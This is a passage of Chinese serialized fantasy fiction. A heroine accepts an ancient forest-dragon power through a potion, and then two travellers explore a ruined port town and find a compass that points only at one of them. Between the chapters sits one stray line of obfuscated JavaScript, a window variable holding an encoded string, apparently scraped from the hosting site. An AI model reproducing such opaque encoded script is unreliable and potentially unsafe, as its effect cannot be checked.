“好的,女士们。” 鹤凌霄: “(咳嗽了两声)咳咳.......对了楚,刚刚你说你知道是吗?” 楚: “(点点头)没错。” 鹤凌霄: “(好奇)谁来听听。” 楚: “在那之前我要问你两个问题。” “问吧。” “你是不是曾经去某地修行过一阵?” “没错,我去过。” “你知道你是继承者吗?” “知道,我的师傅跟我提到过这点。” 楚思考了一下,然后得出了答案。 楚: “(庄重)我刚刚查阅了古籍文献,又从刚刚得知了你修炼过,而且还是个继承者。由此,我便知道了你这对龙角到底是怎么来的了。” 鹤凌霄和紫渊: “(好奇)怎么来的?” 楚并未立即回答这个问题,而是转头问紫渊: “(严肃)紫渊,她的血液的再生速度是不是远高正常人的十倍?” 紫渊: “(点头)没错。” 听到这个回答,楚笑了笑,他转头问鹤凌霄: “(严肃)那个黑色的手提箱里面的‘生化武器’的外壳上是不是有碧蓝世界的标志?” 听到楚这么说,鹤凌霄瞪大了眼睛,她没想到楚竟然知道这个她未告诉他的细节。 鹤凌霄: “(震惊)没错!你怎么知道?” 听到鹤凌霄的回答,楚又笑了笑。此刻,事情的答案他已经明了。 楚: “(微笑)鹤凌霄。那个打进你身体里的根本不是什么生化武器,而是碧蓝苍穹一直在研究的半成品血清的原料。而资料里说的成分类似于万灵药,那指的则是血清制作蓝图上最重要的物质,扭曲之血。” 听完楚的讲述,鹤凌霄和紫渊都愣在了原地。在片刻之后,两人才从刚才楚的话语之中缓了过来。回想楚说的话,鹤凌霄的脑中想到了一个问题。她很好奇地问楚: “这些涉及碧蓝世界公司内部机密的消息你是怎么知道的?” 楚笑着回答道: “这些都是我从我的一个不愿透露姓名的老朋友那里知道的。” 鹤凌霄: “(皱眉)老朋友?” 楚: “这个你不需要知道。——(咳嗽了两声)咳咳,根据你的情况,我已经想好了处理办法。” 鹤凌霄: “(期待)什么办法?” 楚: “你跟我去观星台的楼顶,去那里打坐,然后吃一些药就可以了。” 鹤凌霄: “(怀疑)你这方法可以吗?我怎么感觉有点不对呢?” 楚: “(自信)信我的,准没错。” 鹤凌霄: “(点点头)好吧。信你一把。” 谈话结束之后,楚带着鹤凌霄来到了观星台的楼顶。刚刚来到观星台的楼顶,一阵强风就迎面袭来。鹤凌霄被吹了个措手不及,她身体后仰后撤了一步,就在她要因为中心不稳而摔倒的时候,楚用手扶了她一把。 楚: “这里风大,小心点,姑娘。” 在楚的帮助下,鹤凌霄恢复了重心。她微笑着向楚谢道: “谢谢。” 楚领着鹤凌霄来到了观星台楼顶的中心。鹤凌霄看了看周围,她发现这里的楼顶上面有着许多裂缝,仿佛这里发生过一场战斗。 鹤凌霄: “(担心)楚,你确定这里能够打坐吗?这里的地面感觉好像被落石砸过一样。” 楚: “(尴尬)啊......这。说来话长......你不用担心,这里我用钢制结构强化过,保证够坚固。” 鹤凌霄用脚使劲踩了地面两脚,地面丝毫没有颤动。 鹤凌霄: “(自我安慰)看样子是挺坚固的。应该可以打坐。” 鹤凌霄俯下身来敲了敲地面,再次确认了地面的坚固性。然后她坐在了地上。她闭上眼睛,腰板挺直,双手放在膝盖上,静静地感受大自然的气息。感受着感受着,她就感受到了自己体内的特殊能量。这股能量汇聚在她的核心周围,这股能量似乎与核心建立了某种连接。她试着控制这股能量,这股能量似乎感应到了什么,它抵抗住了她的控制。她皱紧了眉毛,试着加强对这股能量的控制,但这股能量依旧抵抗住了她的控制。 鹤凌霄: “(皱眉)为什么我没办法控制你呢?” 此时,楚正在按照古代炼金学宝典上的配方配置阻断剂和激活剂,在一旁的紫渊当起了楚的助手,楚要什么,她就帮忙取什么。 楚: “阿尔法3型精华。” 紫渊: “(将药品递过去)这里。” 楚将药剂放入了炼药器中。 楚: “奥克2型碎晶石。” 紫渊: “(将药品递过去)给。” ...... 在配置阻断剂和激活剂的时候,楚意外发现古代炼金学宝典上所记载的光之石并不是伊体内的光之种子,而是一种与暗之石性质对立的稀有宝石。这个发现,让楚不禁思考起了那时光之种子释放光柱时的场景。他那时并未注意到光柱的异常,到了现在,他才意识到那道光柱的体积与威力很异常。常规稀有宝石的威力达不到那种量级的能量释放,而且据伊所说,释放光柱的时候光之种子只收集到了一块碎片。楚突然停下了配置药剂,接着翻到了记载各种宝石的那几页。在这几页之中,楚看到了一种介绍只有一句话的超级宝石。这块超级宝石名叫希德薇拉,介绍只有一句话: “一种神明拥有的宝石。” 看到这里,楚突然明白了什么。他赶忙在这本书里寻找有关这个宝石的其他的记录,但除了这页以外,没有任何一页有记录过这块宝石。楚有些失望,他没能找到这块宝石的其他记录,他只能把这个发现藏在心底。之后,他和紫渊花了半个多小时终于将阻断剂和激活剂配置完成了。 此时,鹤凌霄进入到了一个幻境之中。她的对面坐着另一个自己,两人之间隔了一面玻璃墙。另一个她的身上披着一条由绿色的光辉制成的披肩,披肩上有着由粉色、蓝色、红色的光辉构成的美丽花朵。两人四目相对,盘腿而坐。看着对方,两人的表情很是严肃。两人想开口跟对面说些什么,但出于某些原因,两人都在等对方先开口。在一段时间之后,鹤凌霄先开了口。没想到,另一个她也同时开了口。 鹤凌霄和???: “你......” 听到对方的话,两人都闭上了嘴。片刻之后,两人再次同时开口了。 鹤凌霄和???: “你先来。” 气氛变得有些尴尬,这两人的脸上多出了一抹羞涩的红。片刻之后,正当两人要再次开口的时候,鹤凌霄突然对着另一个自己伸出了手,示意让她先说。两人同时开口的尴尬情况在此刻得到了解决。另一个她点头同意了。鹤凌霄深吸了一口气,然后对另一个自己说道: “请问,你究竟是谁?” 另一个她回答道: “我就是你。” “那你为什么身上会有象征着不吉利的颜色的披肩?” “不吉利?这可是祖上留给我们的传家宝。” “传家宝?为什么我的父辈未曾提及?” “因为远古之灵并未在他们的体内感受到觉醒之意。” “远古之灵?那些东西不就是象征血脉的称呼吗?” “不,那些东西是真真切切存在的。就如同你我。” 鹤凌霄托起下巴自己思考了一下,她感觉另一个她说的东西似乎都是正确的。她最了解自己,自己绝不会在这个问题上说谎。鹤凌霄继续问道: “那么我体内的远古之灵是什么呢?” 另一个她回答道: “万苍之林木,千山之护者。森木之龙,林龙。” “哇!这么厉害吗?” “没错。” “可惜了,我当初没能在比武中考进龙宗门......” “不要气馁。即便不做宗门子弟,你也可以使用这股力量。” “怎么用?” “你需要找到一个能够一直坚持下去的信念,然后与我十指相握,林龙祖师爷的力量将会由我转交给你。” 听到另一个自己这么说,鹤凌霄有些高兴,她又能变得强大了。她伸出双手,准备迎接这份力量。但是另一个她并未向她伸出手,而是警告她: “但是,一旦你接下这份力量,你将会用一生时间来等待随时可能到来的远古呼唤。听到呼唤,你便会抵达战场,为主而战。那必定是一场恶战!你必须做好觉悟。” 听到另一个自己这么说,她伸出去的手,缩了回去。 “当然,你也可以封印这股力量。只要你与我五指相握,我便将永远不会再来打扰你。同时,你头上那对龙角将永远不再出现。” 鹤凌霄低下了头,她在思考接下来的选择。她看了看自己的手,又抬起头看了看对面端庄坐着的自己,陷入了深思。 如果选择封印,她还是那个她,她还可以在每周末的时候等坐在电话旁等候着自己的丈夫打来保平安的电话,她还可以在闲暇时间与同事逛逛街,她还可以过着每天平凡的生活。 如果选择接受这份力量,那么她的一生将会发生改变。她将变得更强,能够接下更危险的任务,到时候能获得比现在更高的名利。但如果哪一天呼唤到来,她必须舍下一切,前去与未知的敌人战斗。如果胜利,她将能安全归来,但如果失败,她将迎来死亡。 考虑再三,她选择了后者。她不甘愿平凡一生,既然有机会,她就要抓住,哪怕赌上自己的性命。她已经是在刀尖上行走的赏金猎人,这种风险对于她来说不算什么。 她伸出了手,准备接受这份来自远古的力量。另一个她见此,问道: “你确定要这么做吗?此过程不可逆转。” 鹤凌霄点点头,回答道: “我确定。为了我的家人,为了能在这个世界之中留下一个名字,我愿意接受这份力量,无论条件如何。” 另一个她笑了笑,然后站起身来走向了她。 “希望你不会后悔。” 她也跟着站了起来,然后走向了另一个自己。 “我不会后悔的。” 两人来到了那面玻璃墙前。两人都伸出了手,准备抓住对方的手。就在两人的手要碰到一起的时候,那面玻璃墙阻隔了这一过程。同时,外部的刺激将她从幻境之中拉回了现实。 此刻,楚在用手摇晃她的身体,把她给摇醒了。她醒过来后发现自己全身都是汗,仿佛她就这么坐了很久。这时一阵冷风呼啸着吹来,她的全身一下子就变得冰冷起来,她的体温急速下降。楚见此带着她回到了温暖的观星台内部,并为她弄了一杯热咖啡。同时,紫渊给她拿来了一件大衣,并给她披上。鹤凌霄有些感动,她向楚和紫渊感谢道: “谢谢。” 楚: “(不解)真不知道你是怎么做到的。在冷风之中坐了那么久,竟然什么事都没有。而且你还出了很多的汗。” 鹤凌霄喝了一口咖啡,回答道: “我那时一直在与我体内的远古意识沟通,所以一直没有注意到外面的情况。所以就坐了那么长的时间。” 楚给紫渊使了个眼神,紫渊点了点头,然后将配置完的阻断剂和激活剂拿了过来。看着紫渊手中的两小瓶药水,鹤凌霄好奇地问道: “这是什么?” 楚: “这是我们一起配置的药水,是专门处理你这种情况的。” 紫渊: “(抬起左手)我左手这瓶红色的药水是阻断剂。如果你喝下它,你头上那对龙角将会永远消失。但有个副作用,那就是以后你再也不能激活远古之力了。” 鹤凌霄似懂非懂地点了点头。 紫渊: “(抬起右手)我右手这瓶绿色的药水是激活剂。如果你喝下它,你将激活你体内的远古之力。你和你的核心都会获得新的能力,你头上那对龙角将按照你的想法随意出现或消失。但副作用就是.......” 鹤凌霄: “(猜测)受到远古意识的影响对吗?” 紫渊: “(点点头)没错。” 鹤凌霄仔细看了看这两瓶药水。她的手伸向了那瓶红色的药水,但在即将碰到这瓶药水的时候,她却犹豫了。她的手悬在了这瓶药水上方,看起来她还未拿定主意。她紧皱眉毛,表情严肃。她的眼神在这两瓶药水之间来回飘动,她的呼吸变得缓慢了一些,似乎还在犹豫。几秒钟之后,她的手缓缓移到了那瓶绿色的药水上方,她悬着的手慢慢放在了这瓶绿色的药水上。她紧皱着的眉毛稍稍分开了一些,表情松弛了一些。她飘渺不定的眼神变得愈发坚定,她的呼吸频率渐渐加快,似乎已经拿定了主意。 鹤凌霄: “(严肃)我要这瓶激活剂。” 紫渊和楚的表情很镇定,她和楚早就想到了她会这么选择。鹤凌霄拿起了那瓶激活剂,然后将它紧紧地握在了手里。紫渊轻轻地握住了她的另一只手,并对着她露出了微笑。 紫渊: “(担心)姑娘,你可要做好选择啊。” 鹤凌霄: “(坚定)我做好选择了,紫渊姐。” 紫渊: “(担心)如果你要是后悔了,我手里这瓶阻断剂还可以帮你......” 紫渊将手中的阻断剂轻轻地放到了鹤凌霄的手中,她用手轻轻拍了拍鹤凌霄的手背,似乎是她对鹤凌霄最后的劝告。鹤凌霄闭上了眼睛,深吸了一口气。然后她睁开眼笑着对紫渊说道: “我已明了我未来的道路。不必担心,紫渊姐。” 紫渊很欣慰地笑了笑,然后用手轻轻拍了拍她的肩膀。 紫渊: “(微笑)知道了,姑娘。” 在拍完她的肩膀后,紫渊转身走到了楚的旁边。楚看了看鹤凌霄,他闭着眼摇了摇头。 楚: “如果你做好准备了,那就拔出盖子,然后一饮而尽吧。” 鹤凌霄看了一眼神情严肃的楚,又看了一眼十分担心自己的紫渊,她的心情变得有些复杂。鹤凌霄的手有些颤抖,她此刻感到有些不自然,她变得有些紧张。她做了两次深呼吸,然后拔出了绿色药剂的盖子。看着瓶中的绿色药剂,她又有些犹豫。她在心里给自己打了打气,减缓一下自己心中的紧张。接着她闭眼做了一次深呼吸,然后一口喝光了这瓶绿色药剂。 在喝完这瓶绿色药剂之后,她的眼前再次出现了那个幻境。只不过,这次两个她之间没有那面玻璃墙,两人很顺利的就做到了十只相握。相握的瞬间,她的眼前突然出现了一头全身青绿色的巨龙。这头巨龙对着她张开了嘴,露出了他满嘴的利齿。这头巨龙的眼神之中有着对罪孽的憎恨与对她这个后备的慈爱,这让这头凶神恶煞的巨龙在她眼中多了一丝温柔。不知不觉间,另一个她慢慢变成泡影消失了。她抬起头静静地望着面前这头威武霸气的巨龙,她的眼神之中多出了一丝憧憬与敬畏。这头巨龙将爪子轻轻地放在了她的头上,然后将一部分的林龙之力注入到了她的体内。他缓缓抬起爪子,然后一对银白色的龙角出现在了鹤凌霄的头上。这对龙角之上长着几片绿油油的叶子,这些叶子散发着生命的气息,看上去生气十足。突然,一阵充满生命气息的风迎面吹向了她。风吹起了她的头发,吹得她龙角上的叶子滋滋作响。吹着吹着,一朵粉红色的花苞从她的龙角上的片片叶子之中长了出来。这朵粉红色的花瓣在风中摇曳着,不一会,这朵花苞盛开出了一朵美丽的鲜花。一阵甜美的花香弥漫在周围的空气之中,她闭上眼睛静静地闻空气之中的花香。此刻,她感觉自己完全放松下来了,她从来都没感觉这么轻松过,仿佛,一切烦心事都在此刻消失了。不知不觉间,那头巨龙变成了无数闪耀着的光点渐渐消失了。 当她再次睁开眼睛的时候,她发现自己回到了现实之中。她看了看周围,她发现楚和紫渊在此刻都不见了。正在她疑惑之时,突然有一朵粉色的小花出现在她的眼前。这朵花从她眼前缓缓飘下,她很好奇地看着这朵下滑,然后她用手轻轻地接住了这朵小花。突然,她闻到了熟悉的花香。她看了看手中的小花,然后将鼻子凑近闻了闻,这朵小花散发着淡淡的花香,但没有空气中那么浓烈。她用手摸了摸自己头上的龙角,她突然发现自己的龙角之上长着许多朵花,根据手感,她推测这些鲜花此刻是盛开的状态。她在屋内找了个镜子,然后看到了镜中变得不同的自己。她头上那对龙角变得比之前要大了一些,而且上面长出了许多的叶子与花朵。 鹤凌霄: “(惊讶)这就是......远古之力吗?” 鹤凌霄冲着镜子摇了摇头、眨了眨眼、接着露出了笑容、撅了噘嘴。她托着下巴看着镜子中的自己开始思考,思考怎样将龙角隐藏起来。突然,她想到了解决办法。她闭上双眼,紧皱眉毛,然后用自己的意志试图操控体内的力量。这次,这股力量听她的话了。她头上的龙角慢慢变小,然后消失了。她睁开眼睛看了看镜子的自己,看到龙角消失,她很高兴地笑了出来。突然,她又有个想法。她再次重复了一边之前的操作,然后龙角再次出现在了她的头顶。发现这一点后,她很高兴。 鹤凌霄: “(高兴)太好了!我终于可以以一个正常人的身份回到城市之中了!大家看我的目光再也不是奇特的目光了。” 之后,鹤凌霄配合楚完成了一些简单的能力测试实验。在这些实验中,楚收集到了许多有价值的实验数据,他对继承者这一特殊群体又多了一些了解。在做完这些实验之后,楚留下了两百毫升鹤凌霄的血液,以便以后的实验。然后,楚和紫渊站在码头上与坐在船上的鹤凌霄进行道别。 楚: “(挥手道别)再会,鹤凌霄。” 紫渊: “(笑着挥手道别)再会,鹤凌霄。路上保重,注意安全!” 鹤凌霄微笑着回应道: “知道了!谢谢你们!你们也多保重啊!” 话音刚落,护送鹤凌霄离开的航船便离开了码头,向着远方驶去。楚和紫渊目送着鹤凌霄离开,直到鹤凌霄所乘坐的航船渐渐消失在海平面处。 ...... 与此同时,在一片规模巨大的废墟下方的一口深井之中,虚空的力量正在汇聚。渐渐地,虚空的力量汇聚成了一个巨大的黑色泥潭,在泥潭的周围,突然多出了许多符文石碑。深红色的血雾开始弥漫,强大的能量开始汇聚。这些血雾围着井底的中央开始旋转,逐渐形成了一个红色的多层旋涡。突然,一道红色的激光从旋涡的边缘向上射出。这道激光打在了井口上方金属天花板上,打得这个天花板裂开了一道很大的裂缝。突然之间,在泥潭的深处,传来了一个沉睡多年的帝君的声音。 INF-wR-0: “the ancient voice became clear, and the distortion of time became more and more serious.(远古的声音逐渐清晰,时间的扭曲愈发严重。)” 一双血红色的眼睛出现在泥潭深处。 INF-wR-0: “maybe I should say so. the world is getting worse and worse.(也许我该这么评价,这个世界正变得越来越糟。)” 一张长满猩红色牙齿的嘴出现在这双眼睛下方。 INF-wR-0: “this may be a breakthrough... A breakthrough to break some laws.(这也许是个突破点......打破某些法则的突破点。)” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四话:初来乍到 通历43年7月12日下午4点23分,殇和伊坐着船抵达了位于东玲国南海岸的某个废弃码头处。他们眼前的废弃码头上的建筑都已废弃,而且都呈现出了十分破败的模样。原来平整的地面如今变得满目疮痍、裂痕遍布,各种建筑碎块无序的堆积在地面上,将原来通畅的路面堵了个半死。许多锈蚀的钢筋似铆钉一般插进了地面的缝隙之中,无形之中形成了一种天然的路障。放眼望去,码头上的航船上锈迹斑斑,好似都刷上了红色的漆。裂痕如瘟疫一般从地面与建筑物上传染到了船只上,让这些本来完好无损的忠诚卫士变得伤痕累累。殇和伊站在船上神情凝重地看着眼前破败不堪的港口,他们不禁开始了思考。是什么导致了这种景象的产生呢?是疫病?还是其他的什么原因?答案未见分晓,但殇和伊都心知肚明。 殇放下了折叠梯,然后背着小咒刀从船上走了下来。过了一会,伊也跟着走了下来。下船后,殇深吸了一口气。他闻到了空气中弥漫着的腐朽之息。此刻,一阵寒风迎面吹来。这阵寒风不怎么凉,但却吹得殇不禁打了个寒颤。这阵风吹进了殇的心里,让他感受到了这里的凄凉之意。殇本能地搓了搓手,然后对着手心吹了口气,让自己冰冷的双手变得温暖一些。凝望着眼前的荒芜之景,殇感慨道: “不知今地曾景如何,但今不见当年繁华。” “这疫病残害了许多无辜的生灵,让昔日的美好化作尘埃。如果可以消灭这疫病,那么所有人都可以得救。我相信我们可以改变这一切的!” 伊在殇背后说道。殇转头看了看伊,他看到了伊脸上充满自信的微笑。他也跟着笑了笑,然后走到伊的身旁用手轻轻拍了拍伊的肩膀。 殇: “那还等什么,走吧。” 伊点了点头。然后,她和殇向着码头东边前进。他们的路很不好走,那些建筑碎块和钢筋路障成了他们眼前最大的障碍。好在殇足智多谋,他想出了一个个法子来度过难关。在这个过程中,殇和伊来到了码头上的一个仓库之中。他们在这个仓库里东倒西翻,试着找到些有用的东西,但他们能找到的只有一些鱼骨头和一些没用的生锈工具。找着找着,伊突然发现了一个很特殊的货箱。她很好奇地打开了这个货箱。在开箱的瞬间,一道金光从货箱内照了出来。在金光褪去后,伊发现里面的货物是一个感应灯和一个金罗盘。伊将这两件货物拿起来看了看,她发现这个感应灯是一次性的,感觉好像是为了烘托这个金罗盘才弄的。当她的视线落到这个金罗盘上面后,她惊奇地发现这个金罗盘的做工达到了她未曾见过的水准,罗盘的种种细节都打磨的十分完美、毫无瑕疵,仿佛是由神匠打造一般。仔细看,她发现这个金罗盘的指针用的是一颗发着银白色微光的水晶,而且罗盘内部还有着独特的白色多翼图案,图案的每个细节都接近完美。 “这是一件艺术品!” 伊惊呼道。伊张大了嘴巴,心中的惊讶溢于言表。听到伊的话语,殇放下手中的地球仪,好奇地来到了伊的身旁。在看到伊手中这无比精致的金罗盘后,殇也感到了惊讶。他一生见过各种金银财宝与琉璃珠宝,就唯独没有见过像这样完美的黄金制品。 “完美!太他妈完美了!” “殇这是一件艺术品!我们找到宝贝了!” 伊激动地说道。看到伊如此激动,殇便故作镇定地说道: “别那么激动,这就是个做工良好的罗盘而已。” 就在这时,殇突然注意到了货箱左上角隐藏着的羊皮纸。他伸手将这张羊皮纸慢慢地拽了出来,然后拿在手里仔细看了一下。 “这是什么?” 伊嗯了一下,然后凑到近前去很好奇地看了看这张羊皮纸。这张羊皮纸上有着用一种未知的古代文字写成的文章,同时还配了三张图。这种未知的文字殇和伊都不曾见过,他们都不知道这篇文章到底是个什么意思。 伊: “这是用古文写的!但是......这种古文貌似不存在于记载之中。我没见过它。” 殇: “哦?就连你这种学识似海的大姑娘也认不出来吗?” 伊: “(摇了摇头)认不出来。” 殇: “(笑)呵呵......我也一样。” 他们跳过这些看不懂的文字,将视线落在了这三张配图上。 第一张图是这个罗盘的平面图,没什么特别的地方。平面图底下有着一行字,这行字虽然殇和伊不明白是什么意思,但他们能隐隐感觉到这行字内藏有别样的玄机。 第二张图是一个巨大的圆环套着这个罗盘,圆环内有着各种奇异的动物,其中有着人们熟知的龙。罗盘的周围用淡淡的笔墨描画出了一层薄薄的火焰,在指针指着的那个方向的火焰最为猛烈。图中罗盘的指针指向了其中的一只六爪巨鸟,这似乎是在揭露这个罗盘的作用。 看着这张图,伊托起下巴仔细思考了一下。片刻思考过后,她的脑中有了答案。她用手指指着第二张配图中心的罗盘说道: “殇,你看这里。这个图是在告诉我们罗盘有定位这些远古生物的能力。因为这里面有龙这类传说之中的生物。” 殇托起下巴仔细思考了一下,他先是摇了摇头否定了伊的观点,几秒之后似乎是想明白了似的点了点头同意了伊的观点。 “你说得对......这个玩意也许就是用来追踪那些远古生物的。” 说完,他们的视线落在了最后一张图上。 第三张图是一个脸上有着一抹甜蜜微笑的长发女人和这个罗盘。这个长发女人手里拿着一朵水仙花,她握着水仙花的双手稍稍抬高,似乎是在向着什么东西祈祷。这个罗盘的位置在图的右下角,正对这个长发女人。这个罗盘的周围有着许多叶子,这与上一张图中围绕着罗盘的火焰形成了强烈的反差。伊隐隐觉得,这种反差一定暗喻些什么。 伊: “(猜测)这张图一定有玄机,它是在告诉我们一些很重要的东西。线索就在那个漂亮姐姐的身上!” 殇仔细看了看,他并未看出什么玄机,所以他干脆把这张羊皮纸一卷,然后交给了伊保管。 殇: “这个东西还是等我们进城之后找个明白的人再搞懂这张纸上的文章是什么意思吧。现在你先保管这张纸和那个罗盘,等进城了在做打算。” 伊: “(点点头)明白了。” 伊将这张羊皮纸塞到了自己的口袋里。然后正当她要将金罗盘放入自己口袋的时候,这个金罗盘的指针发出了金色的光,同时金罗盘的指针发生了偏转。突然,金罗盘的指针剧烈地左右摆动了几下,之后罗盘指针指向了伊所在的方向。伊见此感到有些好奇,她转了个身,看看罗盘的指针究竟指向那里,没想到罗盘的指针随着伊的转身发生了变化,罗盘的指针依旧指向伊所在的方向。伊向左转了一下身,指针指着她,她向右转了一下身,指针依旧指着她,她原地转了一圈,指针还是指着她。见此,伊不解地说道: “诶?这是怎么回事?殇。为什么这个罗盘只指着我?” 殇从伊手里拿过罗盘看了看,然后简单试了试,罗盘的指针始终指向伊。 殇: “(猜测)也许......你是远古生物?还是传奇生物?(摇摇头)那不可能,你要是远古生物绝对不会是现在这样。” “也许,是因为我的光之种子?”伊猜测道。 “也许是吧......” “这个罗盘能定位光之种子。那么殇你以后就可以靠这个东西来随时找到了我了!” “确实,这样以后就不怕你丢了。” “好耶!”伊高举双臂笑着说道。 伊擦了擦这个罗盘上的灰,然后将手中的罗盘递给了殇。殇接过罗盘,好好收了起来。接下来,殇带着伊向着码头的东边走去。风吹过了码头,呼呼地风声回荡在建筑物之间,听着别有一番凄凉的风味。他们穿过了路上的各种路障,一路来到了码头附近的小镇之中。到了小镇里面,一片荒芜的景象出现在他们眼前。首先映入眼帘的是一条商业街。商业街上空无一人,各种店铺都荒废了,在招牌与周围的墙上,还依稀可以看出往日的繁华。走在街上,殇和伊都感觉心里格外不舒服。面对空无一人的街道,面对迎面吹来阴冷的风,面对充满死寂的镇子,悲怆之情用上他们的心头。空无一人的镇子之中,回荡着风声。寂静笼罩了这个镇子。整个镇子沉默了,死了。若不是今日殇与伊来到此地,也许这个地方就永远被遗忘了。殇与伊想开口说些什么,但那寂静的氛围却压住了他们心中的声音,也让他们跟着一起沉默起来。 走着走着,他们就走到了这个镇子中心的广场上。当看到广场上那尊国王殇的雕像的时候,不知怎么的,心底的怒意涌上伊的心头。伊撅起了嘴,皱紧了眉毛,表情变得格外严肃。她看了看周围,然后向前走了三步捡起了地上的一块石头。她高举拿着石头的手,准备将手中的石头扔向那尊国王殇的雕像。但就在要扔的时候,她突然想到了什么,然后迟迟没有扔出手中的石头。她的手渐渐放下了,她的眼神之中多出了一分哀伤。就在这时,殇一把抓住她的手腕,没让她把手彻底放下来。见此,伊转头看向了一旁的殇。她惊愕之中带有些许恐惧,她的表情渐渐松弛下来。殇面无表情地看着她,然后一下子举起自己的左手。伊见此,以为殇要打她,赶忙用手臂护着头。结果没想到,殇一把夺过她手中的石头,然后一把将手中的石头扔向了那尊至高无上的雕像。伊很惊讶地看着殇,她的眼神之中满是不解。殇不屑地转头看了看伊那不解的小眼神,然后摇了摇头。他又从地上捡起了一块石头。伊见此,好奇地问道: “殇,你这是?” “菜鸟,你连石头都不会扔吗?” “会扔,我会扔的。” “那你为何在石头要扔出手的时候停下?” “这......我不是怕......怕你生气吗。” 殇将手中的石头扔向了那尊国王殇的雕像。 “怕什么?我是我,他是他,过去的已经过去了。现在的我,已经不再是那个叱咤风云的混蛋了。” “可是.......我们都知道实际上你还是那个你。” 听到这话,殇冷笑了一下,然后他叹了口气,摇了摇头。他继续说道: “哎......往昔已,往昔已啊。花开花落,又是一年。昔日之主,早已不在。如今的我,只是个普通人。” “你不还是要回到你的王国之中的吗?” “那确实。不过......当我回去的时候,那顶本就不属于我的王冠,就该交付给我那宝贝女儿肃清者了。” “哦,原来是这样。” 殇从地上又捡起了一块石头,这次他没将这块石头扔出去,而是将这块石头交到了伊的手上。 “这次,由你来扔出这块石头。” 伊看了看殇,殇的表情很是坦然与淡定,他的眼神之中有着对伊的信任。伊见此握紧了手中的石头,然后她再次瞄准了那尊国王殇雕像。 殇: “面对过去的我,尽力地丢出手中的石头吧。不用害怕我,因为我也对过去的那个我深恶痛绝。” 此刻,伊的眼前出现了幻觉。广场中心的雕像变成了一面墙壁,这面墙壁之上刻满了“旧”字。这面墙壁之上有着一个小的缝隙,透过这个缝隙,伊看到了这面墙之后的蓝天白云,仿佛新世界就在这面墙之后。伊握紧了手中的石头,然后奋力对着面前的墙壁、广场中间的雕像扔了过去。这一下,没有砸倒这面墙,没有打倒这尊雕像,但在这面墙上砸出了一个裂缝、在这尊雕像的上面砸出了一个不大的伤疤。在扔完这块石头后,伊冲着那尊雕像喊道: “消失吧!该死的雕像!终有一日,你所象征的旧终将被新所替代!而我和殇,就是完成这一目标的人!” 喊完之后,伊看了看一旁的默默注视着自己的殇。殇微笑着看着她,他对她的这种行为表示赞扬。他不在乎那尊雕像是自己的雕像,因为现在的他已经在伊的感染下放下了过去,直面他不想面对的现实。殇用手轻轻拍了拍伊的肩膀,然后对她表扬道: “干得好!伊。记住了,以后面对那些老顽固,就这么硬气地怼他们!不用害怕,有真理做你的后盾。同时,也有我做你的后盾。” 伊点了点头,微笑着答应道: “好!我明白了,殇。” 之后,殇和伊走过镇子,沿着公路向着最近的城市走去。这段路很漫长,站在起点处根本望不到城市的影子,只能依稀看到地平线处的群山。一路上,殇和伊好好地观察与了解了一下东玲国的情况。东玲国的气候比较干燥,降雨量比其他的地方要少。虽是酷暑七月,但这里的气温不怎么高,这里的气温让人感到非常舒服。路边种着白杨树,一排排的白杨树就跟卫兵一样驻守在路旁,时时刻刻都准备迎接归家者归来。远处的路边依稀有一些建筑碎块和许多荒废的汽车,在它们之中,有着把插在地上的武器,似乎那里曾经发生了一场战斗。马路上很是空旷与安静,没有马路该有喧嚣,只有风吹过叶子时所发出哗啦哗啦的声音。伊抬头看了看天,她发现今天是个晴朗的好天气。她本想笑一笑,可此刻的她怎么笑都笑不出来。听着喧嚣的风声,伊的心里倍感凄凉。 今天的风,格外喧嚣。 除了他们赶路时所发出声音与风声以外,没有任何声音,这个世界仿佛沉默了一样。这时,伊想到了一个词来形容眼前的景象:死寂。阳光照在地面上,映出了两个赶路人的身影。 赶路的过程相当枯燥,但是殇和伊都一直忍住心中急躁,尽可能淡定地赶路。在实在无聊的时候,殇激活了他背上的小咒刀,让他出来陪他们聊聊天。小咒刀一苏醒,就高兴地在空中来回转圈,仿佛一只逃离了鸟笼重归蓝天的鸟儿。片刻之后,小咒刀就冷静了下来。他看了看周围,他发现自己来到了一个陌生的环境。 小咒刀: “(疑惑)主人,这里是哪里?” 殇: “这里是东玲国。” “东玲国?是那时候你们说的下一站吗?” “没错。” “哦,我知道了。所以主人这时候叫我出来有什么事捏?” “让你出来陪我们聊一会天。我们赶路有些无聊了。” “原来是这样啊。好吧,我就大发慈悲地陪你们聊会吧。” 然后,小咒刀就在路上陪着殇和伊聊天。小咒刀给殇和伊讲了许多笑话,殇的笑点很高,他的嘴角都只是微微上扬,而不笑出来。而伊就不一样了,她被小咒刀的笑话逗笑了好几次,而且每次她都是开怀大笑。看到伊开心地笑,殇不禁露出了微笑。在开怀大笑之后,伊感觉到赶路时的疲劳消退了许多。走了好一段时间之后,小咒刀聊天聊累了,他飞回殇的背后,然后主动变成了休眠状态。 一段时间后,殇和伊拖着疲惫的身躯继续向着前方走去。两人此刻又渴又饿又累,两人都想找个安稳的地方歇一会。在走了一小段时间之后,一个荒废的加油站出现在两人的眼中。这个加油站距离两人很近,也就不到一百米的距离。看到近处的加油站,殇和伊两人两眼放光,他们两个瞬间就感觉不累了。殇看了看一旁的伊,伊笑着看了看一旁的殇。 伊: “(高兴)太好了!殇。我们可以找个地方歇一歇了!” 殇: “(微笑)那还等什么,走吧。我们去那个加油站里歇一会。” 说完,两人就跑着来到了加油站附近。刚来到加油站附近,殇就注意到了加油站内的异常。在加油点附近,停着一辆看着很脏的汽车。这辆车车皮磨损很大,但是内部丝毫没有锈蚀的痕迹,看着不像是荒废的车辆。在看到这辆车后,殇一把拦住一旁准备去搜刮物资的伊,并警告道: “伊,注意安全。这里很可能有其他人。” 听到殇的警告,伊安耐住了内心的激动,让自己冷静了下来。 “知道了,殇。” 